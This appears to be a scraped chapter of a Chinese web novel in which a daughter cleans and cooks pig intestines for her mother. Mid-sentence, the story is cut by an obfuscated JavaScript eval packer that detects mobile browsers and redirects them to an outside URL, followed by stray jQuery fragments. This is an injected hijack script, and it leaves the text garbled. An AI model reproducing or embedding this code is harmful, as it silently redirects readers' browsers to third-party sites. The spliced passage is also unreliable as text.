“还在这里笑呢，人都走远咯。”


    她的声音让徐安然回归现实。


    看着自己女儿微红的脸颊，苏清心想两孩子估计快成了，于是笑得比她还开心。


    片刻后，她突然询问起周时带回来的那张桌子。


    “这便是你亲自参与设计的桌子？”


    “不是我设计的。”徐安然不知道怎么解释，于是干脆转移话题，“不说这个，娘，您觉着这桌子如何？”


    苏清上手摸了摸，然后又学着刚才的徐安然转了转上面的转盘，很丝滑，比她们家原本的桌子，好得太多。


    “一个温暖的家，从换一张新的餐桌开始。”徐安然很喜欢这张桌子，日后饭馆做大了，她也要全部换成这样的桌子。


    “有这样的桌子，吃饭会更香吧？”


    “那是自然。”


    徐安然已经迫不及待了使用这样桌子了，但前提是，她得先去厨房做饭。


    前两日在镇上买的大小肠在水里泡了两日，今日异味应该散去不少。


    见徐安然要开始动手做那猪下水，苏清心中莫名地一阵反胃，但是有忍不住好奇想看看她是怎么做的。


    “安然，这东西真的会好吃吗？”


    “放心吧娘，你能吃辣，我决定做一道爆炒猪小肠，绝对好吃，并且这东西含有丰富的蛋白质，营养价值很高的！”


    “蛋白质，是何物？”


    “额……就是可以改善人的气血不足。”说到这，徐安然突然坏笑，“娘，吃啥补啥这句话你听过吧？这猪小肠是猪的内脏，在消化系统中位于胃和大肠之间的部分，主要负责消化和食物的吸收，所以啊，这个东西还可以调理我们人类的肠胃功能哦。”


    “但是娘一想到那是……”


    “洗干净就行了嘛，等会成品会好吃到你忘记这些的。”


    见徐安然这么自信，苏清也不再说什么了。


    只见她将浸泡小肠的水倒掉，接着又接水清洗了一遍。


    这才加入干面粉，熟练地抓洗片刻。这一步可以有效去除猪肠表面的脏物和异味。


    虽然有些浪费面粉，但好在她现在已经有些银子了，倒也没那么心疼。


    面粉很快从白色变成了淡黄色，这便说明脏物被洗出来了。接着便用清水将附着在猪肠表面的面粉洗干净。


    她拿出一根筷子，顶入猪肠内，向筷子的另一头挤，直到最末端，捏住一头给猪肠翻面，清水再次变得浑浊，她洗了好几遍，水才变得比较清澈。


    但这还不够。


    再次加入一些面粉，和第一个步骤一样抓洗，直到将面粉都清洗干净，再加入两勺盐，继续抓洗。这一步的目的是为了洗去猪肠表面的粘液，最后再用清水反复清洗。


    直到水彻底清澈为止。


    “娘，你看，这样洗，这猪肠就已经很干净了。”


    “接下来就可以炒了？”


    徐安然摇头：“还不行，现在虽然是洗干净了脏物，但是气味还在，所以要过一遍水。水里加些生姜、桂皮和香叶，再加些米酒和米醋、一勺盐，煮到变色后，方才可以捞出。猪大肠，也就是肥肠，清洗的方法也跟小肠一样。”


    她将大小肠全部都清洗干净。


    决定将肥肠做成干锅，小肠做成爆炒。


    她认为肥肠的口感，必须得是三分焦、七分糯。


    洗干净的猪大肠，剪成不长不短的段后，放入加了水的锅中。


    大葱、姜、洋葱，简单切成小块后与肥肠一起煮，再加入白酒，度数越大的酒，去异味的效果更好。


    紧接着徐安然又拿出一口铁锅，放入桂皮、草果、干姜、白芷和白蔻，后面两样她都是从医馆买的，因为这也是一味药材。


    接着再加入足量的盐和黄酒，烧火同时煮。等待水开的同时，继续备菜。


    葱、姜、蒜、干辣椒、青椒等……


    这些菜的价格，加起来比大小肠贵了不知道多少倍，但徐安然馋啊，所以每样都买了一些，只够做这一次的。


    此时肥肠锅的水已经开了，将其捞出后，再次放入铁锅中，盖上盖子，焖煮半个时辰。


    “可惜没有高压锅，否则还能更快些。”徐安然小声嘟囔道。


    在等待期间，她着手开始做爆炒小肠。也可以叫火爆小肠，反正做法很火辣。


    先准备料头。


    小辣椒切成末，再加入一勺甜口的辣椒酱。


    再准备辅料。


    大葱切成小粒，姜切成长条，全部放入碗中，加入一勺盐、花椒粉、辣椒面、花椒油、酱油等。


    小肠这类食物，为了去除异味，就必须得多加调味料，原汁原味对于大小肠来说并不适用。


    将小肠切成小块，锅里加些许芝麻油，再放上几粒花椒爆香后，倒入料头。


    “滋啦”一声响，混合着各种调味料的气味同时间迸发，其中辣椒的气味最重，惹得苏清打了个喷嚏。


    但也不忘说一句：“好香。”


    再过片刻，呛鼻的气味少了许多，徐安然将焯水过的小肠倒入锅中，翻炒几下后再倒入辅料。


    她一手提着果前后晃动，一手拿着锅铲有节奏地翻炒。


    期间，徐安然展示了爆炒类的技巧“锅中逗火”，只有爆炒类的菜才稍微这样玩，其余类型的菜并不适用。


    苏清哪里见过这样的场面，直呼着火了，让她赶紧停下，同时舀了绍清水，作势要撒上去。


    好在徐安然眼疾手快，及时制止了苏清。


    “娘咧，可别，这小肠不值钱，但料头和辅料值钱呀！而且这只是烹饪的一种技巧，不碍事儿。”


    “是……是吗？”苏清的声音还有些颤抖，不过火也就起了两次，一瞬间就没了。


    “对呀，这样吃起来才香，你站远些，我再给你展示一下！”说完，徐安然又往锅里加了些蒜末，蒜末爆香后，很快锅里又起火了。


    这次有了心理准备，苏清没有刚才那样紧张了。反而是夸赞起了徐安然。


    待她将锅移开灶口，火便灭了。


    将其装盘，一道爆炒小肠就做好了，全程十分丝滑。


    “这样就好了？”苏清试探性问，随后狠狠嗅了嗅鼻子。


    若说肥肠是三分焦七分糯，那小肠则就相反，七分脆，三分焦。并且辣椒必须足够，鲜辣脆爽，是小肠最好吃的口味。


    “好咯。”徐安然已经迫不及待地拿起筷子夹上一块小肠了。它的整体色泽为深红色，亮油附着在小肠表面，看起来十分可口。


    一筷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333627|195502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子塞进嘴里，脆、嫩、鲜、香，异味几乎可以忽略不计。


    “这料头钱花的值了！”她说，“很好吃啊！娘，你快试试。”


    徐安然是会吃的，苏清见状，努力克服心里的嫌弃，缓慢地夹起了一块小肠。


    她细细地观察，很软、很弹，凑近鼻尖嗅了嗅，酸辣的气味扑鼻。好似……很好吃，至少味道是香的。


    她抬眼，对上女儿亮晶晶的双眼。


    她在催促，也在期待。


    “快吃呀。”


    苏清豁出去了。


    即使这里头曾经装着猪吃过的食物。


    在徐安然第二声的催促下，她立即将小肠送入口中。


    咀嚼间，弹性十足，而且越嚼，辣椒的香气越明显，味道有些咸，但根本吃不出异味。咽下后，嘴里只剩下些微麻的感觉。


    身体的动作骗不了人，苏清又夹了一块。


    这道菜出了名的下饭，她就着米饭一口气吃了大半，她感觉到自己浑身的毛孔都舒展开了，越吃，汗越多，当真回味无穷。


    徐安然留了些小肠出来，打算叫两姐妹和周时来吃。


    第二道菜，是干锅大肠。


    “娘，别吃太多，这大肠更好吃呢。”


    “可是，大肠比小肠更脏……”


    “害，大肠焦糯，和小肠是完全不一样的口感，你吃过之后绝对会爱上，说不定吃的比小肠还多。”


    大肠和小肠，她更喜欢大肠的口感。


    炖好的大肠，拿出来后改刀切成斜的长条，接着擦干表面的水分。


    然后将准备好的料头和辅料都摆在顺手能拿到的地方。


    油温六成后，倒入大肠，片刻后，与油一起，淋入装着切好的青椒和红椒的漏勺中。


    大肠过油，这是焦脆的来源。


    锅里留下一些油，下入葱姜和小米辣椒以及甜口的辣椒酱，之后倒入肥肠，加黄酒、盐爆炒，再倒入蒜，锅里太干了，加一些水，持续翻炒片刻。


    那个从茶馆里带回来的缺口的砂锅，洋葱切成丝，铺在砂锅的底部，加热后，倒入炒好的肥肠。


    这样，干锅肥肠就完成了。


    加洋葱是为了缓解腻味，洋葱的味道渗透进肥肠中，再裹着肥肠一起入口，麻辣干香的同时又增添了些许清爽，虽然是干锅，但并不是肥肠枯燥的口感，外表焦脆，而内里却是软弹的，火候控制得恰到好处。


    苏清是这样认为的。


    女儿说得没错，肥肠确实比小肠更加好吃，并且，想象中的异味一点也不存在，若是不说，她压根猜不到主食材是猪大肠。


    “我还会很多好吃的菜呢，干锅鸡翅、风爪虾、蒜香排骨。对了，过几日我们吃腌笃鲜～”


    “前面的娘都知道，但是腌笃鲜？”


    苏清疑惑，但徐安然并不着急解答。


    “和您现在吃的完全是不同的口感，等我做好您就知道咯，先不告诉你，保留点神秘和期待。”


    她笑着点头，“行，娘许你卖这个关子。”


    “一定不会让你失望。”


    菌子鲜美，这可是苏清亲口承认过的。


    所以过几日她决定约周时上山摘菌子。


    腌笃鲜，她是一定要在这个春季吃到滴。